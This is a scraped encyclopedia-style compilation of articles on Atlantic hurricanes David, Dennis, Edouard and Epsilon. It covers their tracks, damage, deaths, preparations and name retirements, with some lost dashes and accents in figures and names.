          In the days prior to hitting Dominica, forecasters thought David would spare Dominica and hit Barbados instead. However, a turn in the hours before moving through the area caused the 150 mph (240 km/h) hurricane to make a direct hit on the southern part of Dominica. During the storm's onslaught, David dropped up to 10 inches (250 mm) of rain, causing numerous landslides on the mountainous island. Hours of hurricane force winds severely eroded the coastlines and washed out coastal roads. Damage was greatest in the southwest portion of the island, especially in the capital city, Roseau, which resembled an air raid target after the storm's passage. David's strong winds destroyed or damaged 80% of the homes on the island, leaving 75% of the population homeless, with many others temporarily homeless in the immediate aftermath. In addition, the rainfall turned rivers into torrents, sweeping away everything in their path to the sea. Power lines were completely ripped out, causing the water system to stop as well.


          HMS Fife (a Royal Navy County Class Destroyer) was on its way back to the UK when the hurricane struck and was turned back to provide emergency aid to the island. Sailing through mountainous seas The Fife docked in the main harbour at Roseau without assistance and was the only out side help for several days. The crew provided work details and medical parties to offer assistance to the Island and concentrated on the Hospital Buildings, the airstrip and restoring power and water while the ships helicopter (called Humphrey) took medical aid into the hills to assist people who were cut off from getting to other help by fallen trees. The ship also used its radio systems to broadcast news and music to the island to inform the population of what was being done and how to get assistance, this was the first time a Royal Navy ship had provided a public broadcast news service. The ships doctor and helicopter pilot were awarded medals for their work.


          Most severely damaged was the agricultural industry. About 75% of the nation's banana and coconut crop was destroyed. Banana fields were completely destroyed, and in the southern portion of the island most coconut trees were blown down. Citrus trees fared better, due to the small yet sturdy nature of the tree. In addition, David's winds uprooted many trees on the tops of mountains, leaving them bare and damaging the ecosystem by disrupting the water levels.


          In all, 56 people died in Dominica and 180 were injured. Damage figures are not known.


          


          Lesser Antilles


          Aside from Dominica, other islands in the Lesser Antilles experienced minor to moderate damage. Just to the south of Dominica, David brought Martinique winds of up to 100 mph (160 km/h). The capital, Fort-de-France reported wave heights of 15 feet (4.5 m). David's strong winds caused severe crop damage, mostly to bananas, amounting to $50 million ($140 million in 2005 USD) in losses. Though no deaths were reported, the hurricane caused 20 to 30 injuries and left 500 homeless.


          Guadeloupe experienced moderate to extensive damage on the island of Basse-Terre. There, the banana crop was completely destroyed, and combined with other losses, crop damage amounted to $100 million ($280 million in 2005 USD). David caused no deaths, a few injuries, and left several hundred homeless. Nearby, Marie-Galante and Les Saintes reported extreme damage.


          The island of St. Croix in the U. S. Virgin Islands experienced significant rainfall amounting to 1012 inches (250300 mm).


          


          Puerto Rico
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              Rainfall Totals in Puerto Rico
            

          


          Though it did not hit Puerto Rico, Hurricane David passed less than 100 miles (160 km) south of the island, bringing strong winds and heavy rainfall to the island. Portions of southwestern Puerto Rico experienced sustained winds of up to 85 mph (135 km/h), while the rest of the island received tropical storm-force winds. While passing by the island, the hurricane caused strong seas and torrential rainfall, amounting to 19.9 inches (505 mm) in Mayagez, Puerto Rico and up to 20 inches (510 mm) in the central mountainous region.


          Despite remaining offshore, most of the island felt David's effects. Agricultural damage was severe, and combined with property damage, the hurricane was responsible for $70 million in losses ($200 million in 2005 USD). Following the storm, the FEMA declared the island a disaster area. In all, Hurricane David killed seven people in Puerto Rico, four of which resulted from electrocutions.


          


          Dominican Republic


          Upon making landfall in the Dominican Republic, David turned unexpectedly to the northwest, causing 125 mph (200 km/h) winds in Santo Domingo and Category 5 winds elsewhere in the country. The storm caused torrential rainfall, resulting in extreme river flooding. The flooding swept away entire villages and isolated communities during the storm's onslaught. A rail-mounted container crane collapsed in Rio Haina at the sea-land terminal. Many roads in the country were either damaged or destroyed from the heavy rainfall, especially in the towns of Jarabocoa, San Cristobal, and Ban.


          Nearly 70% of the country's crops were destroyed from the torrential flooding. Extreme river flooding resulted in most of the country's 2,000 fatalities. One particularly deadly example of this was when a rampaging river in the mountainous village of Padre las Casas swept away a church and a school, killing several hundred people who were sheltering there. The flooding destroyed thousands of houses, leaving over 200,000 homeless in the aftermath of the hurricane. President Antonio Guzmn Fernndez estimated the combination of agricultural, property, and industrial damage to amount to $1 billion ($2.8 billion in 2005 USD).


          Neighboring Haiti experienced very little from David, due to the hurricane's weakened state upon moving through the country.


          


          Bahamas


          While passing through the Bahamas, David brought 7080 mph (115130 km/h) winds to Andros Island as the eye crossed the archipelago. David, though still disorganized, produced heavy rainfall in the country peaking at 8 inches (200 mm). Strong wind gusts uprooted trees, and overall damage was minimal.


          


          United States


          David produced widespread damage across the United States amounting to $320 million ($900 million in 2005 USD). Prior to the hurricane's arrival, 400,000 evacuated from coastal areas. In total, David directly killed five in the United States, and was responsible for ten indirect deaths.


          


          Florida
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          Upon making landfall, David brought a storm surge of only 24 feet (0.61.2 m), due to its lack of strengthening and the obtuse angle at which it hit. In addition, David caused strong surf and moderate rainfall, amounting to a maximum of 8.92 inches (227 mm) in Vero Beach. Though it made landfall as a Category 2 storm, the strongest winds were localized, and the highest reported wind occurred in Fort Pierce, with 70 mph (115 km/h) sustained and 95 mph (155 km/h) gusts.


          Because the hurricane remained near the coastline, Hurricane David failed to cause extreme damage in Florida. The storm's winds shattered windows in stores near the coast and caused property damage, including blowing the frame of the Palm Beach Jai Alai fronton and downing the 186-foot (57-m) WJNO AM radio tower in West Palm Beach into the Intracoastal Waterway. A few roofs were torn off, and numerous buildings were flooded from over 6 inches (150 mm) of rainfall. A 450-foot (140-m) crane was even snapped in two at the St. Lucie nuclear power plant. The hurricane spawned over 10 tornadoes while passing over the state, though caused no deaths or injuries. Total damages in Florida amounted to $95 million ($270 million in 2005 USD), of which $30 million occurred in Palm Beach County, mostly from crop damage.


          


          Georgia
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              Hurricane David at landfall in Georgia
            

          


          Hurricane David made landfall in Georgia as a quickly weakening minimal hurricane, bringing a 35 foot (0.91.5 m) storm surge and heavy surf. Its inner core remained away from major cities, though Savannah recorded sustained winds of 58 mph (93 km/h) and wind gusts of 68 mph (109 km/h). No major damage occurred in Savannah. High winds downed numerous power lines, leaving many without power for up to 2 weeks after the storm. Offshore, strong seas disrupted a portion of the coastal reef by moving a sunken ship 300 feet (90 m). Overall, Hurricane David was responsible for minor damage and two casualties from its heavy surf.


          


          Mid-Atlantic and New England


          Upon entering South Carolina, David retained winds of up to hurricane force, though the highest recorded was 43 mph (69 km/h) sustained in Charleston and a 70 mph (113 km/h) wind gust in Hilton Head Island. Similar winds occurred in North Carolina, and lesser readings were recorded throughout the northeastern United States, excluding a 174 mph (280 km/h) wind gust on Mount Washington in New Hampshire. In addition, David dropped heavy rainfall along its path, peaking at 10.73 inches (273 mm) in Cape Hatteras, North Carolina, with widespread reports of over 5 inches (130 mm). Storm surge was moderate, peaking at 8.8 feet (2.7 m) in Charleston and up to 5 feet (1.5 m) along much of the eastern United States coastline.


          Overall, damage was light in most areas, though it was very widespread. High winds and rain downed power lines in the New York City area, leaving 2.5 million people without electricity during the storm's passage. David also caused minor to moderate beach erosion, as well as widespread crop damage from the flooding. In addition, the hurricane spawned numerous tornadoes while moving through the Mid-Atlantic and New England. In Virginia 8 tornadoes formed across the southeastern portion of the state, of which 6 were F2's or greater on the Fujita scale. The tornadoes caused one death, 19 injuries, damaged 270 homes, and destroyed 3 homes, amounting to $6 million ($20 million in 2005 USD) in losses. In Maryland, David's outer bands formed 7 tornadoes. In New Castle County, Delaware, one tornado damaged numerous homes and injured five.


          


          Aftermath


          


          Dominica


          Immediately after the storm, lack of power prevented communications and the outside world had little knowledge of the extent of the damage in Dominica. A citizen named Fred White ended that by using a battery-operated ham radio to contact the world.


          In response to the severe agricultural damage, the government initiated a food ration. By two months after the storm, assistance pledges amounted to over $37 million (1979 USD) from various groups around the world. Similar to the aftermath of other natural disasters, the distribution of the aid raised concerns and accusations over the amount of food and material, or lack thereof, for the affected citizens.


          Another occurrence less typical of the aftermath of other natural disasters was the looting. In supermarkets, seaports, and homes, what was not destroyed by the hurricane was stolen in the weeks after the storm. This kind of lawlessness is occasionally seen, particularly in economically poor areas, in the aftermath of catastrophes such as Hurricane Hugo, Hurricane Jeanne, and Hurricane Katrina.


          


          United States


          Despite the casualties and damages attributed to David, the storm's effects were not as bad as in other countries. In particular, South Florida escaped relatively lightly. Because of this, NHC Director Neil Frank was accused of overly stirring up panic before the arrival of David: two local psychiatrists even claimed that the experience would make residents more complacent towards future storms. However, the NHC defended their methods, with Neil Frank stating: "If we hadn't [raised public alarm] and our predictions had been more accurate, the consequences would have been disastrous."


          


          Retirement


          The name David was retired following this storm, and will never again be used for an Atlantic hurricane. It was replaced with Danny for the 1985 season.
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                Hurricane Dennis on July 10, 2005 at 1615 UTC
                

              
            


            
              	Formed

              	July 4, 2005
            


            
              	Dissipated

              	July 13, 2005
            


            
              	Highest

              winds

              	
                
                  
                    	150 mph (240 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	930 mbar ( hPa; 27.47 inHg)
            


            
              	Fatalities

              	42 direct, 47 indirect
            


            
              	Damage

              	$4billion (2005USD)

              $4.41billion (2008USD)
            


            
              	Areas

              affected

              	Grenada, Haiti, Jamaica, Cuba, Florida, Alabama, Mississippi, Georgia, Tennessee and Ohio Valley regions
            


            
              	Part of the

              2005 Atlantic hurricane season
            

          


          Hurricane Dennis was an early-forming major hurricane in the Caribbean and Gulf of Mexico during the 2005 Atlantic hurricane season. Dennis was the fourth named storm, second hurricane, and first major hurricane of the season. In July, the hurricane set several records for early season hurricane activity, becoming both the earliest formation of a fourth tropical cyclone and the strongest Atlantic hurricane ever to form before August until it was surpassed by Hurricane Emily merely two weeks later.


          Dennis hit Cuba twice as a Category 4 hurricane on the Saffir-Simpson Hurricane Scale, and made landfall on the Florida Panhandle in the United States as a Category 3 storm less than a year after Hurricane Ivan did so. Dennis caused at least 89 deaths (42 direct) in the U.S. and Caribbean and caused $2.23 billion (2005 US dollars) in damages to the United States, as well as an approximately equal amount of damage in the Caribbean, primarily on Cuba.


          


          Storm history
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              Storm path
            

          


          Hurricane Dennis began as Tropical Depression Four in the southeastern Caribbean Sea on the evening of July 4, the first storm of the season to form away from Mexico and Central America. Almost immediately, it made landfall on Grenada as a tropical depression with 30mph (48km/h) winds. On the morning of July 5, it strengthened into Tropical Storm Dennis in the eastern Caribbean; this was the earliest formation of an Atlantic season's fourth storm (by comparison, during the 2004 season, Hurricane Alex formed in early August and Hurricane Charley made landfall in Cuba on August 12). The newly named Dennis began moving rapidly to the west-northwest.


          It was clear from early weather forecasting models that Dennis had the potential to be a major storm, and it was predicted to reach hurricane status while still a tropical depression. It reached hurricane strength on the afternoon of July 6 while approaching the southern coast of Hispaniola, and it quickly became a strong and well-organized Category 1 storm on the Saffir-Simpson Hurricane Scale. The next day it strengthened rapidly to become a Category 4 major hurricane, the earliest in an Atlantic hurricane season that a storm had reached that strength since Hurricane Audrey in the 1957 season. After rapid strengthening, Dennis's track became slightly more northerly, bringing it between Jamaica and Haiti by July 7; both countries experienced high winds and heavy rain. As it approached Cuba and strengthened to just under Category 5 intensity, Dennis's track began to wobble. Meteorologists from the National Hurricane Centre (NHC) stated, "this type of erratic motion is not unusual for intensifying major hurricanes." On July 7, Hurricane warnings were issued for Cuba at 11 a.m. EDT (1500 UTC). Dennis made landfall near Punta dal Ingls with 140mph (220km/h) winds late that day, and dropped down to a Category 3 storm while crossing the peninsula. As it moved back into the Gulf of Guacanayabo, its wind speed increased to a peak of 150mph (240km/h). Dennis then slammed into south-central Cuba just west of Punta Mangles Altos on July 8, again with 140mph (220km/h) winds.
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              Hurricane Dennis on July 7, 2005 at 1550 UTC, beginning to pass to the north of Jamaica. Jamaica, eastern Cuba, and Hispaniola are all obscured by the storm.
            

          


          Crossing Cuba's mountainous terrain disrupted the storm's circulation, weakening Dennis to Category 1 intensity. However, NHC forecasts continued to indicate the possibility of a retreat to Category 4 status after convection was re-established. This prediction was borne out when Dennis rapidly reintensified on the afternoon of July 9 over the Gulf Loop Current, a reintensification described by NHC as having occurred "at a rate that bordered on insane." The storm reached Category 4 intensity again on the morning of July 10. At 1200 UTC, the storm reached its peak intensity of 930 mbar (27.47 inHg), surpassing Hurricane Audrey and setting a new record for the strongest storm to form prior to August; the new record stood for less than two weeks before Hurricane Emily surpassed it by reaching a pressure of 929 mbar (27.43inHg).


          The storm continued moving north-northwest towards the central Gulf Coast, which had seen the landfalls of Tropical Storm Arlene in June and Hurricane Cindy the previous week. By the morning of July 10, hurricane warnings were in effect in the U.S. for the Florida Panhandle, Alabama, and Mississippi, with tropical storm warnings extending further east and west along the coast. The NHC predicted a landing at near full strength in the late afternoon. However, much like Hurricane Ivan which struck in the same area the previous year, the storm weakened just before landfall; its maximum sustained winds dropped from 145mph (235km/h, Category 4 strength) to 120mph (195km/h, Category 3 strength).


          Continental landfall occurred at Santa Rosa Island, between Pensacola, Florida, and Navarre Beach, Florida, at 2:25 p.m. CDT (1925 UTC) on July 10. Dennis was a Category 3 hurricane with winds of 115 to 120mph (185 to 195km/h). The highest official wind speed reported was a 121mph (195km/h) wind gust at Navarre Beach. The storm lost strength over the day and was a tropical depression by early on July 11. The depression persisted, however, and gained a little strength while stalled over Illinois the next day. It finally dissipated in Ontario on July 13, with advisories ceasing a full three days after landfall.


          


          Preparations


          Combined with Hurricane Cindy's landfall on the Gulf Coast of the United States, uncertainty over Dennis's final landfall helped push oil prices to a record high of $61.28 a barrel on July 6, and again to $61.50 on July 7, although they dropped below $60 on July 8. Dennis was originally forecast to strike Louisiana, one of the oil-producing regions of the Gulf coast. Speculative spikes in oil prices due to Hurricane Dennis foreshadowed the far greater price spikes caused by Hurricanes Katrina and Rita in late August and September.


          In Haiti officials evacuated residents along the coastline, but noted that many were not obliging. In Cuba more than 600,000 residents were moved from their homes to government shelters or other locations in anticipation of Dennis. All schools were closed, and most flights in the country were suspended or cancelled.


          In the United States, the governors of Florida, Alabama, Mississippi and Louisiana all declared states of emergency in their states. At 6 a.m. CDT (2300 UTC) on July 9, 2005, all southbound lanes on Interstate 65 from Mobile to Montgomery, Alabama, were closed. Traffic was redirected, making all four lanes northbound to allow evacuations. In Alabama residents in all parts of Mobile County, and those south of I-10 in Baldwin County, were ordered to evacuate. Similar orders were issued in Mississippi for parts of Jackson, Hancock, and Harrison counties; and for coastal areas in the Florida Panhandle stretching from Escambia County to Bay County. Likewise, military installations such as NAS Pensacola, Whiting Field, Eglin AFB, Hurlburt Field and Tyndall AFB were all evacuated days before the storm. Additionally, Red Cross officials opened 87shelters across the state which were able to hold about 14,000evacuees.


          In Florida, about 50,000tourists in the Keys were forced to evacuate by July 8. The MacDill Air Force Base in Tampa evacuated its aircraft to McConnell Air Force Base near Wichita. 700,000people in the Florida panhandle were evacuated in the days prior to Dennis, 100,000of them in Escambia County alone. As a result of the large evacuations, more than 200truckloads provided about 1.8million gallons of gasoline. The Red Cross also moved 60mobile canteens capable of serving 30,000hot meals each a day to the staging points of Hattiesburg and Jackson. National guardsmen were mobilized, and four emergency medical teams, each capable of setting up a small field hospital, were on standby. Also, at Eglin Air Force Base, about 20,000military personnel were evacuated, and at Hurlburt Field, home to Air Force's 16th Special Operations Wing, a mandatory evacuation was ordered for all 15,000airmen and their families.


          


          Impact


          
            
              	Deaths from Hurricane Dennis
            


            
              	Country

              	Total

              	State

              	State

              total

              	County

              	County

              total

              	Direct

              deaths
            


            
              	Cuba

              	16

              	

              	

              	16
            


            
              	Haiti

              	56

              	

              	

              	22
            


            
              	Jamaica

              	1

              	

              	

              	0
            


            
              	USA

              	15

              	Florida

              	14

              	Broward

              	3

              	1
            


            
              	Charlotte

              	3

              	0
            


            
              	Escambia

              	1

              	0
            


            
              	Monroe

              	1

              	1
            


            
              	Nassau

              	1

              	1
            


            
              	Walton

              	1

              	0
            


            
              	Unknown

              	4

              	0
            


            
              	Georgia

              	1

              	DeKalb

              	1

              	1
            


            
              	Totals

              	89

              	

              	42
            


            
              	Because of differing sources, totals may not match.
            

          


          Hurricane Dennis caused $4  6 billion (2005 US dollars) and at least 89 deaths in its path past Haiti, Jamaica, Cuba, and the United States.


          


          Caribbean


          Dennis first affected Jamaica while still a weak storm. One person was killed there and damage was estimated at $32 million USD.


          In Haiti, the Pan American Health Organization reports that 56 deaths and 36 injuries occurred; the storm also destroyed 929 homes and damaged another 3,000, leaving 1,500 families homeless. Among the dead were 16 who were killed when a bridge collapsed during the hurricane. Furthermore, 24 persons are still listed as missing.


          From there the storm moved to Cuba, leaving 16 people dead and $1.4 billion in damages as it roared through the island, flattening houses and downing trees and power lines. Heavy rainfall fell across the country, with amounts reaching up to 1092mm/42.99inches, making Dennis the wettest storm for the island since Hurricane Flora of 1963. According to reports from the Cuban government, 120,000 homes were damaged, 15,000 of which were destroyed. The citrus and vegetable industries were also devastated as Cuba's primary agricultural regions were the hardest hit. Nonetheless, Fidel Castro publicly refused US aid after the storm in protest of the ongoing US trade embargo against Cuba, stating that, "If they offered $1 billion we would say no." Relayed reports from Cuban meteorologists stated that a gust up to 149 mph (239 km/h) was detected at Cienfuegos, 85% of the power lines were down, and extensive damage to the communications infrastructure had occurred. Dennis was more destructive than the previous year's Hurricane Charley and was widely regarded as the worst hurricane to strike Cuba since Hurricane Flora in the 1963 season.


          


          United States
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              A beachfront home in Navarre Beach, Florida largely destroyed by Hurricane Dennis.
            

          


          In the United States, damage was not as high as originally expected, mainly because Dennis was more compact and moved more quickly than initially forecast. Dennis made landfall approximately 30miles (48km) to the east of where Hurricane Ivan had made landfall 10 months before, but did not cause as much damage as Ivan. Dennis moved about 7mph (11km/h) faster than Ivan at landfall, and had hurricane-force winds that only extended 40miles (65km) from its centre, compared to Ivan's 105miles (170km/h). During the height of the storm, Dennis produced storm surges as high as 9ft (3m) in the Apalachee Bay region, and as high as 7ft (2m) on the Florida Panhandle, and left 680,000 customers without electricity in four southern states.


          In southern Florida, damage was mostly limited to moderate wind gusts; in Miami-Dade County, gusty winds knocked out several traffic lights along U.S. Route 1, the only route to and from the Florida Keys. A man died in Ft. Lauderdale when he stepped on a downed electrical wire and was electrocuted. Damage was mostly minor and limited to outer rainbands and tornadoes in Central Florida. In the Tampa Bay area, several tornadoes were reported to have touched down causing minor damage such as downed trees and power lines. The most severe damage occurred on the Florida Panhandle. At Navarre Beach, sustained winds of 98miles per hour (158km/h) were reported with a peak gust of 121miles per hour (195km/h), while a tower at the Pensacola Airport reported sustained winds of 82miles per hour (132km/h) and a peak gust of 96miles per hour (154km/h). Milton received 7.08inches (180mm) of rain, the highest reported rainfall total in Florida caused by Dennis. No significant damage was reported to most structures; however, insurers initially estimated that Dennis caused $3$5 billion in insured damage, or approximately $6$10 billion total (insured damage estimates are generally held to be approximately one-half of total damages). However, the NHC's Tropical Cyclone Report reported total damage in the United States as only $2.23 billion with $1.115 billion of insured damage.


          In Alabama, sustained winds reached minimal hurricane force in the interior of the state. In total, 280,000people in Alabama experienced power outages during the storm. No deaths occurred, although Dennis caused three injuries and total damage amounted to $127million dollars (2005 USD), mostly due to structural damage. There was also severe damage to cotton crops. In Mississippi, damage was not as severe as previously anticipated. As Dennis impacted the state, storm tide of 2ft (0.61m)4 ft (1.2 m) above normal was reported. Rainfall from the hurricane averaged between 15inches (25125mm), and minimum barometric pressure of 994.2mb was reported near Pascagoula. Wind gusts peaked at 59 mph (95 km/h) causing several hundred trees to uproot or snap, damaging a total of 21homes and businesses.


          
            [image: Flooding caused by Dennis on Sweetwater Creek in Lithia Springs, Georgia]

            
              Flooding caused by Dennis on Sweetwater Creek in Lithia Springs, Georgia
            

          


          Dennis caused at least 10 tornadoes in the U.S., although only one of them reached F1 status on the Fujita scale. The storm dropped over 10 inches (250mm) of rain in some areas of Alabama and Georgia (see the rainfall graphic). Parts of Georgia, which had received heavy rain just days earlier from Hurricane Cindy, suffered heavy flooding, and flash-floods were reported on the outskirts of the Atlanta metropolitan area.


          In the United States, 15 storm-related deaths (14 in Florida) were reported, including one in Walton County, three in Broward County, three in Charlotte County, one each in Nassau and Escambia Counties and one in Decatur, Georgia. In the Gulf of Mexico, the storm heavily damaged the Thunder Horse, a BP oil rig about 150 miles (240 km) southeast of New Orleans, Louisiana, causing it to list badly.


          One beneficial effect of Hurricane Dennis was the rolling of the former USS Spiegel Grove. Spiegel Grove was sunk in Florida Keys National Marine Sanctuary in an attempt to create an artificial reef. However, the ship turned over and landed on the bottom upside down. Efforts to roll the ship were partially successful, bringing it onto its starboard side, but Hurricane Dennis completed the roll, bringing Spiegel Grove into its intended upright position.


          


          Retirement


          The name Dennis was retired in the spring of 2006 and will never be used for an Atlantic hurricane again. It was replaced by Don on List III of the Atlantic hurricane naming lists that will be next be used in the 2011 season.
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                Hurricane Edouard at peak intensity
                

              
            


            
              	Formed

              	August 19, 1996
            


            
              	Dissipated

              	September 3, 1996
            


            
              	Highest

              winds

              	
                
                  
                    	145 mph (230 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	933 mbar ( hPa; 27.56 inHg)
            


            
              	Fatalities

              	2 direct
            


            
              	Damage

              	$3.5million (1996USD)

              $4.81million (2008USD)
            


            
              	Areas

              affected

              	Mid-Atlantic States, New England
            


            
              	Part of the

              1996 Atlantic hurricane season
            

          


          Hurricane Edouard was the strongest hurricane in the 1996 Atlantic hurricane season, reaching winds of 145 mph (230km/h) on its path. Edouard remained a major hurricane for eight days, an unusually long amount of time. A Cape Verde-type hurricane, the storm formed near the coast of Africa in the middle of August. It moved westward then curved northward, and persisted until early September when it became extratropical to the southeast of New England.


          Edouard, originally forecasted to strike the northeast United States, produced hurricane force gusts to portions of southeastern Massachusetts while remaining offshore. The winds caused minor damage totaling $4.6 million (2007 USD). In addition, the hurricane generated strong waves and rip currents to coastlines, killing two people in New Jersey and causing numerous injuries.


          


          Storm history
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              Storm path
            

          


          A tropical wave moved off the coast of Africa on August 19, accompanied with spiral bands of convection around an area of low pressure. A large circulation quickly developed once it reached the Atlantic Ocean, and the system organized into Tropical Depression Four late on the 19th while located 345 miles (555km) southeast of the Cape Verde Islands. Initial forecasts predicted for great intensification, including one forecast for the depression to strengthen to a hurricane within three days. However, the depression remained disorganized, and slowly intensified to attain tropical storm status on August 22.


          After becoming a tropical storm, Edouard quickly strengthened due to the establishment of an upper-level anticyclone over the storm. The storm moved to the west in response to a strong subtropical ridge to its north, and Edouard strengthened into a hurricane on August 23. Due to very favorable conditions, the hurricane rapidly strengthened on the 24th and 25th to peak as a 145 mph (230km/h) Category 4 hurricane on the Saffir-Simpson Scale. A weakness in the subtropical ridge allowed for a motion more to the west-northwest, and the hurricane passed about 250 miles (400km) north of the Lesser Antilles on August 28. For three days during this time, Edouard maintained Category 4 intensity, though weakened late on the 28th due to an eyewall replacement cycle and vertical shear.
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              Hurricane Edouard to the south-southeast of Massachusetts on September 1
            

          


          Late on August 29, Hurricane Edouard developed three concentric eyewalls, an unusual occurrence coinciding with an increase in strength to 140 mph (220km/h). A mid-tropospheric trough turned the hurricane to the north to an area of unfavorable conditions, and Edouard weakened to a Category 3 hurricanes on the 31st. On September 1, the hurricane passed about mid-way between Bermuda and Cape Hatteras, and turned to the north-northeast. Edouard continued to weaken as it turned to the northeast, and on the 2nd passed about 95 miles (150km) to the southeast of Nantucket, Massachusetts as an 80-mph (130 km/h) hurricane, its closest point of approach to the United States. Edouard weakened to tropical storm status on September 3, and became extratropical shortly thereafter while located to the south of Nova Scotia. As an extratropical storm, Edouard turned to the east, then moved around the periphery of a larger extratropical storm until becoming absorbed by the storm early on September 7.


          


          Preparations


          A high pressure system over New England resulted in the possibility that Edouard would track to the west and strike the United States. One computer model predicted the hurricane would strike near Atlantic City, New Jersey with winds of over 111 mph (178km/h) on Labor Day. This caused Cape May County officials to contemplate ordering an evacuation for the busiest tourist weekend of the year, though an evacuation never occurred. Due to the possibility for a landfall on the East Coast of the United States, officials at the National Hurricane Centre issued Tropical Storm and Hurricane Watches and Warnings from Cape Lookout, North Carolina to Eastport, Maine at various times. Tropical storm warnings existed from North Carolina to Watch Hill, Rhode Island and from the mouth of the Merrimack River to the United States/Canada border, while hurricane warnings existed from Watch Hill, Rhode Island to Merrimack River, Massachusetts. Hurricane watches were also issued for the tropical storm warning area.


          In North Carolina, Cape Lookout was closed and evacuated prior to the storm's passage. Because a Hurricane Watch existed for the New York City metropolitan area, New York Mayor Rudy Giuliani urged citizens to take preparations. In addition, city officials set up a hurricane helpline, activated the city's Emergency Command Centre at the Police Headquarters, and distributed leaflets to flood-prone areas. Near New Bedford, Massachusetts, where landfall was predicted to occur, schools were prepared as shelters in case of a direct hit. New Bedford Mayor issued a state of emergency for the city. However, few people stayed in shelters during the storm's passage. On Cape Cod, thousands of tourists and summer residents evacuated in preparation for the storm, resulting in an 18-mile (29km) traffic backup. As a result, many beach resorts lost millions in potential revenue. Of those who remained on Cape Cod, 900 stayed in emergency shelters when the storm passed the area. In Boston's Logan International Airport, numerous flights were cancelled or delayed to move planes to safety. Many sailors removed their boats from the water prior to the storm. At one time in Mattapoisett Harbour, workers removed boats at a rate of one every eight minutes. In Maine, the Red Cross opened several emergency shelters, though they were never used. Like in Massachusetts, sailors removed their boats, and due to media coverage, residents were well-prepared for the hurricane.


          


          Impact


          Despite initial predictions, Edouard's effects were much less than expected. Strong waves struck much of the East Coast of the United States, killing 2 and injuring numerous others. Damage was greatest on Cape Cod, where moderate wind gusts resulted in $4.6 million in damage (2007 USD).


          


          Carolinas and Mid-Atlantic


          In South Carolina, minor beach erosion was reported in Charleston and Colleton Counties. Swells of up to 15 feet (4.5 m), in combination with strong waves, caused overwash on Route 12 on Hatteras Island. Minor beach erosion occurred. Moderate winds of up to 50 mph (80km/h) blew down a few trees and caused shingle damage to buildings. In Delaware, rough surf closed numerous coastal beaches, while storm tides and waves flooded a campground near the Indian River in Sussex County. Strong waves in New Jersey killed two people and seriously injured another. Lifeguards made numerous rescues along the coast, while other beaches were closed or had restrictions on bathing. Winds were minor along the Jersey coastline, peaking at less than 30 mph (48km/h).


          In New York, Edouard produced strong waves and storm tides of 1 to 2 feet (0.3 to 0.6 m), causing overwash along southern Long Island due to high tide. Coastal flooding occurred, including in Hampton Bays where the waves flooded one road and covered another with sand. The flooding trapped six cars, while the strong waves forced several beaches to close. Because the hurricane moved through the New York Shipping Channel, numerous ships reported winds of over hurricane status, though winds remained below tropical storm force on land. A boat capsized off the coast of Jones Beach Island, though its passengers were not injured. A Celebrity Cruises cruise ship suffered damage from 30 to 50 foot (9 to 15 m) waves, injuring several passengers and crew members. Rainfall was minimal, peaking at less than a half of an inch in eastern Long Island.


          


          New England and Canada
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              Rainfall from Edouard
            

          


          Hurricane Edouard passed about 95 miles (150km/h) southeast of Nantucket while moving at only 12 mph (19km/h), much slower than previous New England hurricanes. This resulted in several hours of strong waves, winds, and rain. The hurricane produced wave heights of up to 31 feet (9.4 m), which washed twelve boats ashore and damaged numerous others. The strong waves and a storm surge of up to 2.1 feet (.6 m) in Nantucket flooded a few coastal roads. Edouard also produced tropical storm force winds across much of Massachusetts, as well as one hurricane force gust on Nantucket. In addition, there were unofficial reports of stronger gusts, including 77 mph (124km/h) on Cape Cod, 80 mph (129km/h) on Martha's Vineyard, and 90 mph (145km/h) on Nantucket. The strong winds caused power outages to 2/3 of Nantucket, all of Martha's Vineyard for six hours, and most of Cape Cod for several hours. Power outages, effecting 35,000 to 40,000 were reported throughout Massachusetts, though far from the power outages caused by Hurricane Bob five years prior. The winds also downed numerous trees, and blew off the roof of the fire station in Hyannis. Rainfall was moderate from the slow-moving hurricane, peaking at 6.37 inches (162 mm) in West Dennis with many other locations reporting over 3 inches (76 mm). The rainfall produced minor street flooding. Damage on Cape Cod totaled to $3.5 million (1996 USD, $4.6 million 2007 USD).


          In New Hampshire, the hurricane produced winds gusts of up to 38 mph (61km/h) and around 1 inch (25 mm) of rain along the coast. In Maine, heavy surf closed several beaches and injured two people. Waves also damaged several boats. Winds were moderate near the coast, peaking at 47 mph (76km/h) with gusts to 54 mph (87km/h) at Mount Desert Island. The winds knocked over several trees and caused sporadic power outages throughout the state, including loss of power for 1,900 Portland residents. In Kittery, water fell through an office building, damaging computer equipment. Rainfall was minor, peaking at 1.23 inches (31.24 mm) in Eastport.


          In southern Nova Scotia, Edouard produced heavy rainfall from 3.7 to 5.5 inches (95 to 140 mm). Winds were moderate, peaking at 75 mph (120km/h) in Cape Breton Highlands. The hurricane also caused beach erosion on southeastern Nova Scotia.


          The name Edouard was not retired and was re-used in the 2002 season. It will next be used during the 2008 season.
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              	Formed

              	November 29, 2005
            


            
              	Dissipated

              	December 8, 2005
            


            
              	Highest

              winds

              	
                
                  
                    	85 mph (140 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	981 mbar ( hPa; 28.98 inHg)
            


            
              	Fatalities

              	None reported
            


            
              	Damage

              	None
            


            
              	Areas

              affected

              	No land areas
            


            
              	Part of the

              2005 Atlantic hurricane season
            

          


          Hurricane Epsilon was a long lasting hurricane of the 2005 Atlantic hurricane season in late November and early December over the central Atlantic. Hurricane Epsilon was the twenty-seventh tropical or subtropical storm and the fifteenth hurricane of the season and was one of the strongest Atlantic hurricanes ever recorded so late in the year.


          Hurricane Epsilon developed from an extratropical storm on November 29 and gradually developed into a hurricane on December 2, despite a highly hostile environment. Epsilon then held onto hurricane status for several more days, despite all predictions by the National Hurricane Centre, before finally dissipating on December 8.


          


          Storm history
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              Storm path
            

          


